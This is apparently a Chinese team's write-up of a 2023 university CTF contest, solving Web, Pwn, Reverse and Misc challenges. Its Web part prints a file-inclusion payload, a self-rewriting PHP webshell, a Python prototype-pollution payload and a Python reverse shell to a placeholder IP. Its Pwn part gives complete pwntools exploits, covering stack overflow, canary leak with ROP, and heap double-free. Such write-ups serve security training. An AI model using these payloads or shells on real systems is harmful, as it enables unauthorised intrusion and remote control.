2023.6.3 By ACT
Web
easyrce
<?php
error_reporting(0);
highlight_file(__FILE__);
if (!empty($_GET['PK'])){
$PK = $_GET['PK'];
if(blacklistFilter($_SERVER["QUERY_STRING"])){
include $PK;
}else{
highlight_file(__FILE__);
}
}
function blacklistFilter($arg) {
$blacklist = array('[', ']', ';', '?', '@', '(', ')', 'exec', 'eval', '$', 'phpinfo', 'flag', 'data', 'filter', '#');
$filteredInput = str_replace($blacklist, '', $arg);
return $filteredInput;
}
上面代码表面是检测过滤了$blacklist
但是后面包含执行的仍然是include $PK
payload:
php://filter/read=convert.base64-encode/resource=/flag
# or
/flag
mua
<?php
ignore_user_abort(true);
set_time_limit(0);
$file = 'shell.php';
$code = '<?php if(md5($_GET["pass"])==="c9b30e9fad74c62c2d0e4bb820964913"){ if(strlen($_GET['cmd'])<9){ @system($_GET['cmd']); } } ?>';
while (1){
file_put_contents($file,$code);
usleep(5000);
?>
md5密文发现无解,后扫描目录发现robots.txt
Disallow: /substr_pass.php
访问提示
hint:?a=xx&b=xx
fuzz了一下,发现截断传数字可以获得明文pass
import requests
flag = ''
i = 0
while (i<8):
url = f"http://9c4d37cf.clsadp.com/substr_pass.php?a={i}&b=3"
response = requests.get(url)
if 'hacker' in response.text:
break
flag += response.text[0]
print(response.text[0:3])
i+=3
i = 8
while (i<100):
url = f"http://9c4d37cf.clsadp.com/substr_pass.php?a={i}&b=3"
response = requests.get(url)
if 'hacker' in response.text:
break
flag += response.text[0]
i+=3
print(flag)
# password是富强民主文明和谐自由平等公正法制爱国敬业诚信友善
接着访问shell.php
即可
/shell.php?pass=password是富强民主文明和谐自由平等公正法制爱国敬业诚信友善&cmd=ls+/
/shell.php?pass=password是富强民主文明和谐自由平等公正法制爱国敬业诚信友善&cmd=cat+/h*
PPP
附件代码如下:
from flask import Flask,request
import json
app = Flask(__name__)
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
def evilFunc(arg_1 , * , shell = False):
if not shell:
print(arg_1)
else:
print(__import__("os").popen(arg_1).read())
class Family:
def __init__(self):
pass
family = Family()
@app.route('/',methods=['POST', 'GET'])
def index():
if request.data:
merge(json.loads(request.data), family)
evilFunc("whoami")
return "fun"
@app.route('/eval',methods=['GET'])
def eval():
if request.args.get('cmd'):
cmd = request.args.get('cmd')
evilFunc(cmd)
return "ok"
app.run(host="0.0.0.0",port= 3000,debug=False)
通过分析代码可知,攻击链最终走向如下代码
def evilFunc(arg_1 , * , shell = False):
if not shell:
print(arg_1)
else:
print(__import__("os").popen(arg_1).read())
但是由于shell=False
题目又给了merge
.可以通过prototype pollution使得shell = True
具体可参考文章:https://blog.abdulrah33m.com/prototype-pollution-in-python/
post /
json data
{"__class__":{"__init__":{"__globals__":{"evilFunc":{"__kwdefaults__":{"shell":"True"}}}}}}
GET / HTTP/1.1
Host: 1f967434.clsadp.com
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 91
{"__class__":{"__init__":{"__globals__":{"evilFunc":{"__kwdefaults__":{"shell":"True"}}}}}}
检测可出网,python 反弹 shell
GET /eval?cmd=export%20RHOST=%22YOUR_IP%22;export%20RPORT=YOUR_PORT;python%20-c%20'import%20sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(%22RHOST%22),int(os.getenv(%22RPORT%22))));%5Bos.dup2(s.fileno(),fd)%20for%20fd%20in%20(0,1,2)%5D;pty.spawn(%22sh%22)' HTTP/1.1
Host: 1f967434.clsadp.com
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Pwn
stack
from pwn import *
context.log_level = 'debug'
p = remote('121.196.192.181','10005')
shell = 0x400831
p.sendlineafter(b'name?',b'passer')
payload = b'a'*0x90 +b'b'*0x8 + p64(shell)
p.sendlineafter(b'you?',payload)
p.interactive()
p.close()
canary
from pwn import *
from LibcSearcher import *
from ctypes import *
p = remote('121.196.192.181','10004')
libc = ELF('./libc.so.6')
sym_libc = cdll.LoadLibrary('./symbols.so')
#addr
puts_got = elf.got['puts']
puts = elf.plt['puts']
pop_rdi = 0x400b93
ret = 0x40073e
vuln = 0x40097d
#自己调用so来播种爆破服务器的time_rand
def rand():
sym_libc.srand(sym_libc.time(0))
return str(sym_libc.rand()%100+1).encode()
#leak canary
p.sendlineafter(b'select:',b'1')
p.sendlineafter(b'Go:',rand())
p.recvuntil(b'n',drop=1)
p.recv(0x28)
canary = u64(p.recv(8))
print('canary',hex(canary))
sleep(1)
#leak libc ; ret to vuln
payload = b'a'*0x28 + p64(canary) + p64(0) + p64(pop_rdi) + p64(puts_got) + p64(puts) + p64(vuln)
p.send(payload)
#libc_addr
puts_addr = u64(p.recvuntil(b'x7f')[-6:].ljust(8,b'x00'))
libc_base = puts_addr - libc.sym['puts']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
system = libc.sym['system']
print('libc_base',hex(libc_base))
print('system',hex(system))
sleep(1)
p.sendline(rand())
sleep(1)
#getshell ; 栈对齐一下
payload = b'a'*0x28 + p64(canary) + p64(0) + p64(ret) + p64(pop_rdi) + p64(binsh_addr) + p64(system)
p.send(payload)
p.interactive()
p.close()
勇闯迷宫-过三关
from pwn import *
context.log_level='debug'
p = remote('121.196.192.181','10003')
libc = ELF('./libc-2.23.so')
i = b'Index: '
m = b'>:'
n = b'>>'
def add(idx, size, content=b'a'*8):
p.sendlineafter(m,b'1')
p.sendlineafter(i,str(idx))
p.sendlineafter(b'Size: ',str(size).encode())
p.sendafter(b'Content: ',content)
def show(idx):
p.sendlineafter(m,b'2')
p.sendlineafter(i,str(idx).encode())
def delete(idx):
p.sendlineafter(m,b'3')
p.sendlineafter(i,str(idx).encode())
# pass
p.sendlineafter(n, b'516')
p.sendlineafter(n, b'1')
p.sendlineafter(n, b'4')
p.sendlineafter(n, b'2')
p.sendlineafter(n, b'3')
p.sendlineafter(n, b'2')
p.sendlineafter(n, str(133).encode())
p.sendlineafter(b'n', str(0x4011ed).encode())
p.sendlineafter(b'>' ,b'I_LOVE5.16$5APPLES9F5.16 FF' + p64(0x312e3500544f3052))
p.sendlineafter(b'>' ,b'I_LOVE5.16$5APPLES6F5.16 FF' + p64(0x312e3500544f3052))
p.sendlineafter('数字',b'+')
# 堆风水
add(0,0x90) #chunk0
add(1,0x60) #chunk1
add(2,0x60) #chunk2
# leak libc
delete(0) #unsorted_bin
show(0)
libc_base = u64(p.recvuntil(b'x7f')[-6:].ljust(0x8,b'x00')) - 0x3c4b78
malloc_hook = libc_base + libc.sym['__malloc_hook'] - 0x23
one_gadget = libc_base + 0xf1247
print('libc_base',hex(libc_base))
# UAF ; small_bin attack
delete(1)
delete(2)
delete(1)
# edit chunk1_next
add(3,0x60,p64(malloc_hook)) #chunk1
add(4,0x60) #chunk2
add(5,0x60) #chunk1
# edit malloc_hook -> one_gadget
add(6,0x60,b'a'*0x13 + p64(one_gadget)) #malloc_hook
# 触发malloc_hook
p.sendlineafter(m, b'1')
p.sendlineafter(i, b'7')
p.sendlineafter('Size: ', b'30')
p.interactive()
p.close()
alloca
from pwn import *
from LibcSearcher import *
context.log_level='debug'
p = remote('121.196.192.181','10007')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
#leak base
p.sendafter(b'name? ',b'a'*8)
p.recvuntil(b'a'*8)
pe_base = u64(p.recvuntil('n',drop=1).ljust(8,b'x00')) -4653
print('pe_base',hex(pe_base))
#调试位置
p.sendlineafter(b'long? ',b'-10')
#addr
vuln = pe_base + 0x12a7
puts_got = pe_base + elf.got['puts']
puts = pe_base + elf.plt['puts']
pop_rdi = pe_base + 0x1463
ret = pe_base + 0x101a
#leak libc
payload = b'a'*0x18 + p64(pop_rdi) + p64(puts_got) + p64(puts) + p64(vuln)
p.sendafter(b'say? ',payload)
puts_addr = u64(p.recvuntil(b'x7f')[-6:].ljust(8,b'x00'))
libc_base = puts_addr - libc.sym['puts']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
system = libc_base + libc.sym['system']
print('libc_base',hex(libc_base))
print('system',hex(system))
#调试位置
p.sendlineafter(b'long? ',b'-10')
#getshell ; 加个ret栈对齐
payload = b'a'*0x18 + p64(ret) + p64(pop_rdi) + p64(binsh_addr) + p64(system)
p.sendafter(b'say? ',payload)
p.interactive()
p.close()
Reverse
ezpython
https://pyinstxtractor-web.netlify.app/ 上传main.exe
uncompyle6解main.pyc
import sys
str = 'cidb~071c75g62=a=d2=acc211c010`1<`gacx'
str1 = ''
for i in range(38):
str1 += chr(ord(str[i]) ^ 5)
print(str1)
ezpe
PE文件最下面有Brainfuck加密文本
flag{w0w!_PE_sT3uctU3e_1$_suBt1e}
ezrust
太乱的,直接动调
长度判断
加密流程
密文
对比
解密
cipher = ['AE', 'DC', 'BE', 'CE', '7C', '9A', 'BE', '7C', '8D', '7C', 'BE', '8D', 'EF', 'BA', '7C', '9A', '9F', '6F', 'FF', 'DE', '9F', 'FF', 'DF']
flag = ""
for i in range(len(cipher)):
cipher[i] = cipher[i][::-1]
# ['EA', 'CD', 'EB', 'EC', 'C7', 'A9', 'EB', 'C7', 'D8', 'C7', 'EB', 'D8', 'FE', 'AB', 'C7', 'A9', 'F9', 'F6', 'FF', 'ED', 'F9', 'FF', 'FD']
for i in cipher:
print(chr(int(str(hex(int(i[0], 16)^0x9)[-1]) + str(hex(int(i[1], 16)^0x8)[-1]), 16)), end="")
# flag{rUst_1s_@_s@f3_1anguage}
Misc
云缨
下载题目解开压缩包得到一串密文
此密码运用了1248代码,google搜索得到为云影密码的特征,找到解密脚本解密
#!/usr/bin/python
# -*- coding=utf8 -*-
"""
# @Author : pig
# @CreatedTime:2019-11-2423:54:02
# @Description :
"""
def de_code(c):
dic = [chr(i) for i in range(ord("A"), ord("Z") + 1)]
flag = []
c2 = [i for i in c.split("0")]
for i in c2:
c3 = 0
for j in i:
c3 += int(j)
flag.append(dic[c3 - 1])
return flag
def encode(plaintext):
dic = [chr(i) for i in range(ord("A"), ord("Z") + 1)]
m = [i for i in plaintext]
tmp = [];flag = []
for i in range(len(m)):
for j in range(len(dic)):
if m[i] == dic[j]:
tmp.append(j + 1)
for i in tmp:
res = ""
if i >= 8:
res += int(i/8)*"8"
if i%8 >=4:
res += int(i%8/4)*"4"
if i%4 >=2:
res += int(i%4/2)*"2"
if i%2 >= 1:
res += int(i%2/1)*"1"
flag.append(res + "0")
print ("".join(flag)[:-1])
c = input("输入要解密的数字串:")
print (de_code(c))
m_code = input("请输入要加密的数字串:")
encode(m_code)
题目要求明文的md5值,再md5加密即可拿到flag
flag{9edabf1448871181eb0e7133b5b3d701}
hack_dns
爆破压缩包密码为258369
解密压缩包,里头flag.pcap和key.jpg
分析flag.pcap,搜索条件过滤dns,把包含test.com的字段都过滤出来
全部复制出来,拿去在线正则匹配,得到每一项包含test.com的字符串,这里需要把0a开头的给舍弃
然后将.test.com替换为空再去掉换行得到16进制字符串
再写一个python脚本将16进制字符串转换ASCII字符
hex_string = "647868797b366a6530636d316c3678383937303333696730613172683430393135763635397d"
# 将16进制字符串每两个字符一组分割,并转换为对应的ASCII字符
ascii_string = "".join([chr(int(hex_string[i:i+2], 16)) for i in range(0, len(hex_string), 2)])
print(ascii_string)
运行得到
dxhy{6je0cm1l6x897033ig0a1rh40915v659}
使用steghide分析key.jpg可以得到一个key:ymhsec
最后通过维吉尼亚解密得到flag{6fc0ea1e6f897033ee0c1fa40915d659}
EradicateMoriarty
这个套娃题也挺有意思的,比赛快结束的时候,解到了最后一个压缩包了 具体题解过程,可看下面师傅分享的解题视频
原文始发于微信公众号(ACT Team):2023年第三届陕西省大学生网络安全技能大赛Writeup
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论